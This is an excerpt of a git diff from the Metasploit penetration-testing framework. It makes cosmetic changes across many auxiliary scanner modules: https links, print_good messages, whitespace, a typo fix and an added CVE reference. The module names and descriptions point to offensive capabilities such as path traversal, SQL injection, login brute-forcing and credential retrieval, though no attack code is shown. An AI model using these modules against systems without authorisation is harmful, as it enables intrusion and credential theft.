+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -11,7 +11,7 @@ require 'cgi'
 
 
 
-  class MetasploitModule < Msf::Auxiliary
+class MetasploitModule < Msf::Auxiliary
 
     include Msf::Exploit::Remote::HttpClient
     include Msf::Auxiliary::WmapScanServer
@@ -118,7 +118,7 @@ require 'cgi'
           if res and noexistsres
 
             if res.body !=  noexistsres.body
-              print_status("[#{ip}] Vhost found  #{thost} ")
+              print_good("[#{ip}] Vhost found  #{thost} ")
 
               report_note(
                 :host	=> ip,
diff --git a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb
index 78a1550bbe..387f40e857 100644
--- a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb
+++ b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -60,7 +59,7 @@ class MetasploitModule < Msf::Auxiliary
         },
     }, 25)
 
-    print_status "File retreived successfully!"
+    print_good "File retreived successfully"
 
     # Show data if needed
     if res and res.code == 200
diff --git a/modules/auxiliary/scanner/http/web_vulndb.rb b/modules/auxiliary/scanner/http/web_vulndb.rb
index ce7e3f1503..4802eff3bd 100644
--- a/modules/auxiliary/scanner/http/web_vulndb.rb
+++ b/modules/auxiliary/scanner/http/web_vulndb.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanServer
   include Msf::Auxiliary::Scanner
@@ -146,7 +146,7 @@ class MetasploitModule < Msf::Auxiliary
               if res.code.to_i == 400  and ecode != 400
                 print_error("Server returned an error code. #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i}")
               else
-                print_status("FOUND #{wmap_base_url}#{tpath}#{testfvuln} [#{res.code.to_i}] #{testnote}")
+                print_good("FOUND #{wmap_base_url}#{tpath}#{testfvuln} [#{res.code.to_i}] #{testnote}")
 
                 report_note(
                   :host	=> ip,
@@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
             end
           else
             if res and res.body.include?(testmesg)
-              print_status("FOUND #{wmap_base_url}#{tpath}#{testfvuln} [#{res.code.to_i}] #{testnote}")
+              print_good("FOUND #{wmap_base_url}#{tpath}#{testfvuln} [#{res.code.to_i}] #{testnote}")
 
               report_note(
                   :host	=> ip,
diff --git a/modules/auxiliary/scanner/http/webdav_internal_ip.rb b/modules/auxiliary/scanner/http/webdav_internal_ip.rb
index 2e50d0a2eb..510f7d7aa6 100644
--- a/modules/auxiliary/scanner/http/webdav_internal_ip.rb
+++ b/modules/auxiliary/scanner/http/webdav_internal_ip.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
@@ -51,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary
 
 
         result.each do |addr|
-          print_status("Found internal IP in WebDAV response (#{target_host}) #{addr}")
+          print_good("Found internal IP in WebDAV response (#{target_host}) #{addr}")
 
           report_note(
             :host	=> target_host,
diff --git a/modules/auxiliary/scanner/http/webdav_scanner.rb b/modules/auxiliary/scanner/http/webdav_scanner.rb
index f91808951a..6f65afcfa1 100644
--- a/modules/auxiliary/scanner/http/webdav_scanner.rb
+++ b/modules/auxiliary/scanner/http/webdav_scanner.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/scanner/http/webdav_website_content.rb b/modules/auxiliary/scanner/http/webdav_website_content.rb
index ca58030772..e35463a472 100644
--- a/modules/auxiliary/scanner/http/webdav_website_content.rb
+++ b/modules/auxiliary/scanner/http/webdav_website_content.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
@@ -50,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary
         result = res.body.scan(urlregex).uniq
 
         result.each do |u|
-          print_status("Found file or directory in WebDAV response (#{target_host}) #{u}")
+          print_good("Found file or directory in WebDAV response (#{target_host}) #{u}")
 
           report_note(
             :host	=> target_host,
diff --git a/modules/auxiliary/scanner/http/webpagetest_traversal.rb b/modules/auxiliary/scanner/http/webpagetest_traversal.rb
index df50bf0f1e..7a1e381dc3 100644
--- a/modules/auxiliary/scanner/http/webpagetest_traversal.rb
+++ b/modules/auxiliary/scanner/http/webpagetest_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
@@ -70,5 +69,4 @@ class MetasploitModule < Msf::Auxiliary
     p = store_loot('webpagetest.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
     print_good("File saved as: #{p}")
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/wildfly_traversal.rb b/modules/auxiliary/scanner/http/wildfly_traversal.rb
index 4737a53ff1..0261421858 100644
--- a/modules/auxiliary/scanner/http/wildfly_traversal.rb
+++ b/modules/auxiliary/scanner/http/wildfly_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb
index 06629910c0..24a562fb8d 100644
--- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb
+++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Scanner
 
@@ -213,5 +212,4 @@ class MetasploitModule < Msf::Auxiliary
   def route_rest_api(rest_api)
     normalize_uri(path_from_uri(rest_api), 'wp/v2')
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb
index b8dc321dcf..bf59430410 100644
--- a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb
+++ b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb
index 665beb9a58..0de854cf34 100644
--- a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb
+++ b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,5 +81,4 @@ class MetasploitModule < Msf::Auxiliary
       print_status("target not vulnerable to GHOST")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb
index d43d2a63f9..826e4caf13 100644
--- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb
+++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -151,7 +151,7 @@ class MetasploitModule < Msf::Auxiliary
 
     if not usernames.empty?
       p = store_loot('wordpress.users', 'text/plain', rhost, usernames * "\n", "#{rhost}_wordpress_users.txt")
-      print_status("#{target_uri} - Usernames stored in: #{p}")
+      print_good("#{target_uri} - Usernames stored in: #{p}")
     end
 
     return usernames
diff --git a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb
index b966029946..ed5daf2710 100644
--- a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb
+++ b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/wordpress_multicall'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::AuthBrute
@@ -69,7 +68,7 @@ class MetasploitModule < Msf::Auxiliary
 
   def check_setup
     version = wordpress_version
-    vprint_status("Found Wordpress version: #{version}")
+    vprint_good("Found Wordpress version: #{version}")
 
     if !wordpress_and_online?
       print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)")
@@ -134,5 +133,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb
index b6acfb7a58..be2441187e 100644
--- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb
+++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/wordpress_scanner.rb b/modules/auxiliary/scanner/http/wordpress_scanner.rb
index f59686c7d0..5572c42492 100644
--- a/modules/auxiliary/scanner/http/wordpress_scanner.rb
+++ b/modules/auxiliary/scanner/http/wordpress_scanner.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
   end
 
   def run_host(target_host)
-    print_status("Trying ip #{target_host}")
+    print_status("Trying #{target_host}")
     if wordpress_and_online?
       version = wordpress_version
       version_string = version ? version : '(no version detected)'
diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb
index fd48dd105f..bd18a136b2 100644
--- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb
+++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -102,5 +102,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb b/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb
index d18182571a..fd63092121 100644
--- a/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb
+++ b/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb
index da72308c4d..5de5ff1986 100644
--- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb
+++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb
index ca79cc1ae0..3904eb0e61 100644
--- a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb
+++ b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb
index 2457e3b3bb..c0f8068e4e 100644
--- a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb
+++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb
index dcec96ff5a..ad454924c2 100644
--- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb
+++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb
index 4431f55dbd..c49e8b88a2 100644
--- a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb
+++ b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'json'
 require 'nokogiri'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb
index c8a7fcdb17..83bb349064 100644
--- a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb
+++ b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb
index 9261bc305c..bc7ed96996 100644
--- a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb
+++ b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/xpath.rb b/modules/auxiliary/scanner/http/xpath.rb
index 9577862eb2..21d1224b82 100644
--- a/modules/auxiliary/scanner/http/xpath.rb
+++ b/modules/auxiliary/scanner/http/xpath.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanDir
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/yaws_traversal.rb b/modules/auxiliary/scanner/http/yaws_traversal.rb
index 269426ed45..87b8e8a437 100644
--- a/modules/auxiliary/scanner/http/yaws_traversal.rb
+++ b/modules/auxiliary/scanner/http/yaws_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/auxiliary/scanner/http/zabbix_login.rb b/modules/auxiliary/scanner/http/zabbix_login.rb
index 50d9313861..f536a3ecba 100644
--- a/modules/auxiliary/scanner/http/zabbix_login.rb
+++ b/modules/auxiliary/scanner/http/zabbix_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/zabbix'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -171,5 +170,4 @@ class MetasploitModule < Msf::Auxiliary
     res = send_request_cgi({'uri'=>dashboard_uri})
     !! (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: Dashboard<\/title>/)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb
index 20a94e3136..097afc55f2 100644
--- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb
+++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb
index 6bd43bec18..33fcc2e00e 100644
--- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb
+++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -17,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
         task in Novell ZENworks Asset Management 7.5. The vulnerability exists in the Web
         Console and can be triggered by sending a specially crafted request to the rtrlet component,
         allowing a remote unauthenticated user to retrieve the configuration parameters of
-        Nozvell Zenworks Asset Managmment, including the database credentials in clear text.
+        Novell Zenworks Asset Managment, including the database credentials in clear text.
         This module has been successfully tested on Novell ZENworks Asset Management 7.5.
       },
       'License'        => MSF_LICENSE,
@@ -66,5 +65,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb b/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb
index f9ab61f4d5..a37e71fedf 100644
--- a/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb
+++ b/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
 
@@ -94,5 +93,4 @@ class MetasploitModule < Msf::Auxiliary
       udp_sock.close
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/imap/imap_version.rb b/modules/auxiliary/scanner/imap/imap_version.rb
index 2ef9865c24..a57931fe37 100644
--- a/modules/auxiliary/scanner/imap/imap_version.rb
+++ b/modules/auxiliary/scanner/imap/imap_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Imap
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -22,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary
     begin
       connect
       banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
-      print_status("#{ip}:#{rport} IMAP #{banner_sanitized}")
+      print_good("#{ip}:#{rport} IMAP #{banner_sanitized}")
       report_service(:host => rhost, :port => rport, :name => "imap", :info => banner)
     rescue ::Rex::ConnectionError
     rescue ::EOFError
@@ -31,5 +30,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("#{ip}:#{rport} - #{e} #{e.backtrace}")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/ip/ipidseq.rb b/modules/auxiliary/scanner/ip/ipidseq.rb
index f434d2ddb6..d0a9daeddb 100644
--- a/modules/auxiliary/scanner/ip/ipidseq.rb
+++ b/modules/auxiliary/scanner/ip/ipidseq.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'timeout'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -187,5 +186,4 @@ class MetasploitModule < Msf::Auxiliary
 
     return reply
   end
-
 end
diff --git a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb
index 2afafdf68b..a4889ca854 100644
--- a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb
+++ b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ipmi'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::UDPScanner
 
@@ -23,6 +21,7 @@ class MetasploitModule < Msf::Auxiliary
       'License'     => MSF_LICENSE,
       'References'  =>
         [
+          ['CVE', '2013-4782'],
           ['URL', 'http://fish2.com/ipmi/cipherzero.html'],
           ['OSVDB', '93038'],
           ['OSVDB', '93039'],
diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb
index 030a8f489f..5da903c3c5 100644
--- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb
+++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ipmi'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/scanner/ipmi/ipmi_version.rb b/modules/auxiliary/scanner/ipmi/ipmi_version.rb
index ee2d4786ff..19a2362a77 100644
--- a/modules/auxiliary/scanner/ipmi/ipmi_version.rb
+++ b/modules/auxiliary/scanner/ipmi/ipmi_version.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ipmi'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::UDPScanner
 
@@ -77,5 +75,4 @@ class MetasploitModule < Msf::Auxiliary
     # - Report a vulnerability if info.ipmi_user_null has been set (null username)
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb b/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb
index 1348f03eff..a4caf8b5f3 100644
--- a/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb
+++ b/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Report
 
@@ -49,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary
 
     # if a version was identified, then out and store to DB
     if ver
-      print_status("#{pkt[1]} - Found Jenkins Server #{ver} Version")
+      print_good("#{pkt[1]} - Found Jenkins Server #{ver} Version")
       report_host(
         host: pkt[1],
         info: "Jenkins v.#{ver} (port typically 8080)"
diff --git a/modules/auxiliary/scanner/kademlia/server_info.rb b/modules/auxiliary/scanner/kademlia/server_info.rb
index 10b3c8828f..7f799ab336 100644
--- a/modules/auxiliary/scanner/kademlia/server_info.rb
+++ b/modules/auxiliary/scanner/kademlia/server_info.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb
index 0339d30b6b..da05680b6a 100644
--- a/modules/auxiliary/scanner/llmnr/query.rb
+++ b/modules/auxiliary/scanner/llmnr/query.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
index bbb33c18e6..fd1fdfde11 100644
